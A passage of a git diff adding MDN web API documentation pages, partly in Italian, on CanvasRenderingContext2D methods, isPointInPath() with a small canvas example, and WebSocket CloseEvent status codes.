+<p>Objects in the <code>CanvasRenderingContext2D</code> rendering context have a current transformation matrix and methods to manipulate it. The transformation matrix is applied when creating the current default path, painting text, shapes and {{domxref("Path2D")}} objects. The methods listed below remain for historical and compatibility reasons as {{domxref("SVGMatrix")}} objects are used in most parts of the API nowadays and will be used in the future instead.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.currentTransform")}}</dt>
+ <dd>Current transformation matrix ({{domxref("SVGMatrix")}} object).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.rotate()")}}</dt>
+ <dd>Adds a rotation to the transformation matrix. The angle argument represents a clockwise rotation angle and is expressed in radians.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.scale()")}}</dt>
+ <dd>Adds a scaling transformation to the canvas units by x horizontally and by y vertically.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.translate()")}}</dt>
+ <dd>Adds a translation transformation by moving the canvas and its origin x horzontally and y vertically on the grid.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.transform()")}}</dt>
+ <dd>Multiplies the current transformation matrix with the matrix described by its arguments.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setTransform()")}}</dt>
+ <dd>Resets the current transform to the identity matrix, and then invokes the <code>transform()</code> method with the same arguments.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.resetTransform()")}} {{experimental_inline}}</dt>
+ <dd>Resets the current transform by the identity matrix.</dd>
+</dl>
+
+<h2 id="Compositing">Compositing</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalAlpha")}}</dt>
+ <dd>Alpha value that is applied to shapes and images before they are composited onto the canvas. Default <code>1.0</code> (opaque).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}</dt>
+ <dd>With <code>globalAlpha</code> applied this sets how shapes and images are drawn onto the existing bitmap.</dd>
+</dl>
+
+<h2 id="Drawing_images">Drawing images</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage()")}}</dt>
+ <dd>Draws the specified image. This method is available in multiple formats, providing a great deal of flexibility in its use.</dd>
+</dl>
+
+<h2 id="Pixel_manipulation">Pixel manipulation</h2>
+
+<p>See also the {{domxref("ImageData")}} object.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createImageData()")}}</dt>
+ <dd>Creates a new, blank {{domxref("ImageData")}} object with the specified dimensions. All of the pixels in the new object are transparent black.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getImageData()")}}</dt>
+ <dd>Returns an {{domxref("ImageData")}} object representing the underlying pixel data for the area of the canvas denoted by the rectangle which starts at <em>(sx, sy)</em> and has an <em>sw</em> width and <em>sh</em> height.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.putImageData()")}}</dt>
+ <dd>Paints data from the given {{domxref("ImageData")}} object onto the bitmap. If a dirty rectangle is provided, only the pixels from that rectangle are painted.</dd>
+</dl>
+
+<h2 id="Image_smoothing">Image smoothing</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} {{experimental_inline}}</dt>
+ <dd>Image smoothing mode; if disabled, images will not be smoothed if scaled.</dd>
+</dl>
+
+<h2 id="The_canvas_state">The canvas state</h2>
+
+<p>The <code>CanvasRenderingContext2D</code> rendering context contains a variety of drawing style states (attributes for line styles, fill styles, shadow styles, text styles). The following methods help you to work with that state:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.save()")}}</dt>
+ <dd>Saves the current drawing style state using a stack so you can revert any change you make to it using <code>restore()</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.restore()")}}</dt>
+ <dd>Restores the drawing style state to the last element on the 'state stack' saved by <code>save()</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.canvas")}}</dt>
+ <dd>A read-only back-reference to the {{domxref("HTMLCanvasElement")}}. Might be {{jsxref("null")}} if it is not associated with a {{HTMLElement("canvas")}} element.</dd>
+</dl>
+
+<h2 id="Hit_regions">Hit regions</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Adds a hit region to the canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Removes the hit region with the specified <code>id</code> from the canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}</dt>
+ <dd>Removes all hit regions from the canvas.</dd>
+</dl>
+
+<h2 id="Non-standard_APIs">Non-standard APIs</h2>
+
+<h3 id="Blink_and_WebKit">Blink and WebKit</h3>
+
+<p>Most of these APIs are <a href="https://code.google.com/p/chromium/issues/detail?id=363198">deprecated and will be removed in the future</a>.</p>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.clearShadow()</code></dt>
+ <dd>Removes all shadow settings like {{domxref("CanvasRenderingContext2D.shadowColor")}} and {{domxref("CanvasRenderingContext2D.shadowBlur")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.drawImageFromRect()</code></dt>
+ <dd>This is redundant with an equivalent overload of <code>drawImage</code>.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setAlpha()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.globalAlpha")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setCompositeOperation()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.globalCompositeOperation")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineWidth()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineWidth")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineJoin()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineJoin")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineCap()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineCap")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setMiterLimit()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.miterLimit")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setStrokeColor()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.strokeStyle")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setFillColor()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.fillStyle")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setShadow()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.shadowColor")}} and {{domxref("CanvasRenderingContext2D.shadowBlur")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitLineDash</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.getLineDash()")}} and {{domxref("CanvasRenderingContext2D.setLineDash()")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitLineDashOffset</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineDashOffset")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitImageSmoothingEnabled</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} instead.</dd>
+</dl>
+
+<h3 id="Blink_only">Blink only</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.getContextAttributes()</code></dt>
+ <dd>Inspired by the same <code>WebGLRenderingContext</code> method it returns an <code>Canvas2DContextAttributes</code> object that contains the attributes "storage" to indicate which storage is used ("persistent" by default) and the attribute "alpha" (<code>true</code> by default) to indicate that transparency is used in the canvas.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.isContextLost()</code></dt>
+ <dd>Inspired by the same <code>WebGLRenderingContext</code> method it returns <code>true</code> if the Canvas context has been lost, or <code>false</code> if not.</dd>
+</dl>
+
+<h3 id="WebKit_only">WebKit only</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitBackingStorePixelRatio</code></dt>
+ <dd>The backing store size in relation to the canvas element. See <a href="http://www.html5rocks.com/en/tutorials/canvas/hidpi/">High DPI Canvas</a>.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitGetImageDataHD</code></dt>
+ <dd>Intended for HD backing stores, but removed from canvas specifications.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitPutImageDataHD</code></dt>
+ <dd>Intended for HD backing stores, but removed from canvas specifications.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="Gecko_only">Gecko only</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.filter")}}</dt>
+ <dd><span id="summary_alias_container"><span id="short_desc_nonedit_display">CSS and SVG filters as Canvas APIs</span></span>. Likely to be standardized in a new version of the specification.</dd>
+</dl>
+
+<h4 id="Prefixed_APIs">Prefixed APIs</h4>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozCurrentTransform</code></dt>
+ <dd>Sets or gets the current transformation matrix, see {{domxref("CanvasRenderingContext2D.currentTransform")}}.  {{ gecko_minversion_inline("7.0") }}</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozCurrentTransformInverse</code></dt>
+ <dd>Sets or gets the current inversed transformation matrix.  {{ gecko_minversion_inline("7.0") }}</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozFillRule</code></dt>
+ <dd>The <a class="external" href="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t" title="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t">fill rule</a> to use. This must be one of <code>evenodd</code> or <code>nonzero</code> (default).</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozImageSmoothingEnabled</code></dt>
+ <dd>See {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}}.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozDash</code></dt>
+ <dd>An array which specifies the lengths of alternating dashes and gaps {{ gecko_minversion_inline("7.0") }}. Use {{domxref("CanvasRenderingContext2D.getLineDash()")}} and {{domxref("CanvasRenderingContext2D.setLineDash()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozDashOffset</code></dt>
+ <dd>Specifies where to start a dash array on a line. {{ gecko_minversion_inline("7.0") }}. Use {{domxref("CanvasRenderingContext2D.lineDashOffset")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozTextStyle</code></dt>
+ <dd>Introduced in in Gecko 1.9, deprecated in favor of the {{domxref("CanvasRenderingContext2D.font")}} property.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozDrawText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.strokeText()")}} or {{domxref("CanvasRenderingContext2D.fillText()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozMeasureText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is unimplemented starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.measureText()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozPathText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozTextAlongPath()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.</dd>
+</dl>
+
+<h4 id="Internal_APIs_(chrome-context_only)">Internal APIs (chrome-context only)</h4>
+
+<dl>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.asyncDrawXULElement()")}}</dt>
+ <dd>Renders a region of a XUL element into the <code>canvas</code>.</dd>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.drawWindow()")}}</dt>
+ <dd>Renders a region of a window into the <code>canvas</code>. The contents of the window's viewport are rendered, ignoring viewport clipping and scrolling.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.demote()</code></dt>
+ <dd>This causes a context that is currently using a hardware-accelerated backend to fallback to a software one. All state should be preserved.</dd>
+</dl>
+
+<h3 id="Internet_Explorer">Internet Explorer</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.msFillRule</code></dt>
+ <dd>The <a class="external" href="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t" title="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t">fill rule</a> to use. This must be one of <code>evenodd</code> or <code>nonzero</code> (default).</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#2dcontext:canvasrenderingcontext2d", "CanvasRenderingContext2D")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("1")}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("9")}}</td>
+   <td>{{CompatSafari("2")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Compatibility_notes">Compatibility notes</h3>
+
+<ul>
+ <li>Starting with Gecko 5.0 {{geckoRelease("5.0")}}, specifying invalid values are now silently ignored for the following methods and properties: <code>translate()</code>, <code>transform()</code>, <code>rotate(), </code><code>scale(),</code> <code>rect()</code>, <code>clearRect()</code>, <code>fillRect()</code>, <code>strokeRect()</code>, <code>lineTo()</code>, <code>moveTo()</code>, <code>quadraticCurveTo()</code>, <code>arc()</code>, <code>shadowOffsetX</code>, <code>shadowOffsetY</code>,  <code>shadowBlur</code>.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+</ul>
diff --git a/files/it/web/api/canvasrenderingcontext2d/ispointinpath/index.html b/files/it/web/api/canvasrenderingcontext2d/ispointinpath/index.html
new file mode 100644
index 0000000000..bcb314845c
--- /dev/null
+++ b/files/it/web/api/canvasrenderingcontext2d/ispointinpath/index.html
@@ -0,0 +1,208 @@
+---
+title: CanvasRenderingContext2D.isPointInPath()
+slug: Web/API/CanvasRenderingContext2D/isPointInPath
+translation_of: Web/API/CanvasRenderingContext2D/isPointInPath
+---
+<div>{{APIRef}}</div>
+
+<p>Il metodo <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.isPointInPath()</code></strong> delle API Canvas 2D controlla se un punto specificato cade all'interno del path corrente.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">boolean <var><em>ctx</em>.isPointInPath(x, y);
+boolean <var><em>ctx</em>.isPointInPath(x, y, algorithmo);
+
+boolean <var><em>ctx</em>.isPointInPath(path, x, y);
+boolean <var><em>ctx</em>.isPointInPath(path, x, y, algoritmo);</var></var></var></var>
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt>x</dt>
+ <dd>La coordinata X del punto da controllare</dd>
+ <dt>y</dt>
+ <dd>La coordinata Y del punto da controllare</dd>
+ <dt><code>Algoritmo</code></dt>
+ <dd>La'lgoritmo con cui viene verificato se il punto cade all'interno del path.<br>
+ Valori possibili:
+ <ul>
+  <li><code><strong>"nonzero</strong></code>": La regola <a href="http://en.wikipedia.org/wiki/Nonzero-rule">non-zero </a>,  valore predefinito.</li>
+  <li><code><strong>"evenodd"</strong></code>: La regola <a href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">even-odd </a>.</li>
+ </ul>
+ </dd>
+ <dt><code>path</code></dt>
+ <dd>Il {{domxref("Path2D")}} path da usare come path corrente.</dd>
+</dl>
+
+<h3 id="Restituisce">Restituisce</h3>
+
+<dl>
+ <dt>{{jsxref("Boolean")}}</dt>
+ <dd>
+ <p>Un Boolean, che sarà <code>true (vero) </code>se il punto cade all'interno della forma<code>, </code>altrimenti restitiusce false <code>(falso).</code></p>
+ </dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Uso_del_metodo_isPointInPath">Uso del metodo <code>isPointInPath</code></h3>
+
+<p>Questa è una semplice snippet che usa il metodo <code>isPointInPath</code> per controllare se un punto cade o no sulla forma corrente.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[6]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();
+console.log(ctx.isPointInPath(10, 10)); // true
+</pre>
+
+<p>Modifica il codice qui sotto, e guarda live come cambia il canvas: per guardare i log apri la tua <a href="/en-US/docs/Tools/Browser_Console">console</a></p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();
+console.log(ctx.isPointInPath(10, 10)); // true&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-ispointinpath", "CanvasRenderingContext2D.isPointInPath")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Parametro path</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop(31) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Parametro path</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile(31) }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Note_di_compatibilità">Note di compatibilità</h3>
+
+<ul>
+ <li>Prima di Gecko 7.0 (Firefox 7.0 / Thunderbird 7.0 / SeaMonkey 2.4), questo metodo sbagliava a moltiplicare le coordinate del punto specificato per la matrice di trasformazione corrente, prima di controllare il se il punto cadeva o no sul path. Ora il metodo funzioa correttamente anche se il contesto è ruotato, scalato o trasformato in altro modo.</li>
+</ul>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>L'interfaccia che lo definisce, {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/it/web/api/closeevent/index.html b/files/it/web/api/closeevent/index.html
new file mode 100644
index 0000000000..4d534f6858
--- /dev/null
+++ b/files/it/web/api/closeevent/index.html
@@ -0,0 +1,197 @@
+---
+title: CloseEvent
+slug: Web/API/CloseEvent
+translation_of: Web/API/CloseEvent
+---
+<p>{{APIRef("Websockets API")}}</p>
+
+<p>Un evento di tipo <code>CloseEvent</code> viene inviato al client tramite <a href="/en-US/docs/Glossary/WebSockets">WebSockets</a> in fase di chiusura della connessione. Questo viene ricevuto dal <em>listener</em> registrato sull'attributo <strong style="font-family: courier new,andale mono,monospace; font-weight: bold;">onclose </strong>dell'oggetto di tipo <code>WebSocket</code>.</p>
+
+<h2 id="Attributes" name="Attributes">Costruttore</h2>
+
+<dl>
+ <dt>{{domxref("CloseEvent.CloseEvent", "CloseEvent()")}}</dt>
+ <dd>Crea un nuovo <code>CloseEvent</code>.</dd>
+</dl>
+
+<h2 id="Attributes" name="Attributes">Proprietà</h2>
+
+<dl>
+ <dt>{{domxref("CloseEvent.code")}} {{readOnlyInline}}</dt>
+ <dd>Restituisce un <code>unsigned short</code> che contiene il codice di chiusura inviato dal server. Questi sono i valori ammessi.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Status code</td>
+    <td class="header">Name</td>
+    <td class="header">Description</td>
+   </tr>
+   <tr>
+    <td><code>0</code>–<code>999</code></td>
+    <td> </td>
+    <td><strong>Riservati e non usati.</strong></td>
+   </tr>
+   <tr>
+    <td><code>1000</code></td>
+    <td><code>CLOSE_NORMAL</code></td>
+    <td>Chiusura normale; la connessione si è conclusa normalmente, qualsiasi fosse il suo scopo.</td>
+   </tr>
+   <tr>
+    <td><code>1001</code></td>
+    <td><code>CLOSE_GOING_AWAY</code></td>
+    <td>L'<em>endpoint</em> se ne è andato, o per un errore del server oppure perché la pagina che ha aperto la connessione non è più attiva.</td>
+   </tr>
+   <tr>
+    <td><code>1002</code></td>
+    <td><code>CLOSE_PROTOCOL_ERROR</code></td>
+    <td><span style="background-color: rgba(212, 221, 228, 0.14902);">L'</span><em>endpoint</em><span style="background-color: rgba(212, 221, 228, 0.14902);"> </span>ha terminato la connessione per un errore di protocollo.</td>
+   </tr>
+   <tr>
+    <td><code>1003</code></td>
+    <td><code>CLOSE_UNSUPPORTED</code></td>
+    <td>La connessione è stata terminata perché l'<em>endpoint</em> ha ricevuto dei dati che non può accettare (per esempio, dati binari a fronte di un <em>endpoint</em> che consuma solo testo).</td>
+   </tr>
+   <tr>
+    <td><code>1004</code></td>
+    <td> </td>
+    <td><strong>Riservato.</strong> In futuro potrebbe esserne rivelato l'uso.</td>
+   </tr>
+   <tr>
+    <td><code>1005</code></td>
+    <td><code>CLOSE_NO_STATUS</code></td>
+    <td><strong>Riservato.</strong> Indica che non è stato ricevuto nessuno stato di chiusura sebbene fosse atteso.</td>
+   </tr>
+   <tr>
+    <td><code>1006</code></td>
+    <td><code>CLOSE_ABNORMAL</code></td>
+    <td><strong>Riservato.</strong> Usato per indicare che la connessione è stata chiusa in modo anomalo (cioè, cioè senza l'invio del <em>frame</em> di chiusura) dove invece era atteso un codice di chiusura.</td>
+   </tr>
+   <tr>
+    <td><code>1007</code></td>
+    <td> </td>
+    <td>L'<em>endpoint</em> ha terminato la connessione perché ha ricevuto un messaggio con dati inconsistenti (<span style="line-height: 1.572;">per esempio, dati non-UTF-8 all'interno di un messaggio testuale).</span></td>
+   </tr>
+   <tr>
+    <td><code>1008</code></td>
+    <td> </td>
+    <td><span style="background-color: rgba(212, 221, 228, 0.14902);">L'</span><em>endpoint</em><span style="background-color: rgba(212, 221, 228, 0.14902);"> </span>ha terminato la connessione perché ha ricevuto un messaggio che viola la sua politica. E' un codice generico, quando 1003 e 1009 non sono adatti.</td>
+   </tr>
+   <tr>
+    <td><code>1009</code></td>
+    <td><code>CLOSE_TOO_LARGE</code></td>
+    <td><span style="background-color: rgba(212, 221, 228, 0.14902);">L'</span><em>endpoint</em><span style="background-color: rgba(212, 221, 228, 0.14902);"> </span>ha terminato la connessione perché ha ricevuto un frame di dati troppo grande.</td>
+   </tr>
+   <tr>
+    <td><code>1010</code></td>
+    <td> </td>
+    <td>Il client ha terminato la connessione perché era attesa una negoziazione di una o più "estensioni" del protocollo che però non è avvenuta.</td>
+   </tr>
+   <tr>
+    <td><code>1011</code></td>
+    <td> </td>
+    <td>Il server ha terminato la connessione perché ha incontrato una condizione inattesa che gli ha impedito di completare la richiesta.</td>
+   </tr>
+   <tr>
+    <td><code>1012</code>–<code>1014</code></td>
+    <td> </td>
+    <td><strong>Riservati per usi futuri dallo standard WebSocket.</strong></td>
+   </tr>
+   <tr>
+    <td><code>1015</code></td>
+    <td> </td>
+    <td><strong>Riservato.</strong> Indica che la connessione è stata chiusa a causa di un fallimento dell'<em>handshake</em> TLS (per esempio, il certificato del server non può essere verificato).</td>
+   </tr>
+   <tr>
+    <td><code>1016</code>–<code>1999</code></td>
+    <td> </td>
+    <td><strong>Riservati per usi futuri dallo standard WebSocket.</strong></td>
+   </tr>
+   <tr>
+    <td><code>2000</code>–<code>2999</code></td>
+    <td> </td>
+    <td><strong>Riservati per estensioni WebSocket.</strong></td>
+   </tr>
+   <tr>
+    <td><code>3000</code>–<code>3999</code></td>
+    <td> </td>
+    <td>Disponibili per librerie e <em>framework</em>. <strong>Meglio non</strong> usarli nelle applicazioni.</td>
+   </tr>
+   <tr>
+    <td><code>4000</code>–<code>4999</code></td>
+    <td> </td>
+    <td>Disponibili per essere utilizzati dalle applicazioni.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("CloseEvent.reason")}} {{readOnlyInline}}</dt>
+ <dd>Restituisce un {{ domxref("DOMString") }} che indica la ragione per cui il server ha chiuso la connessione. Questo dipende dal particolare server e sotto-protocollo.</dd>
+ <dt>{{domxref("CloseEvent.wasClean")}} {{readOnlyInline}}</dt>
+ <dd>Restituisce un {{jsxref("Boolean")}} che indica se la connessione è stata chiusa senza problemi o meno.</dd>
+</dl>
+
+<p> </p>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p> </p>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("8.0") }} [1][2]</td>
+   <td>{{ CompatUnknown() }}</td>
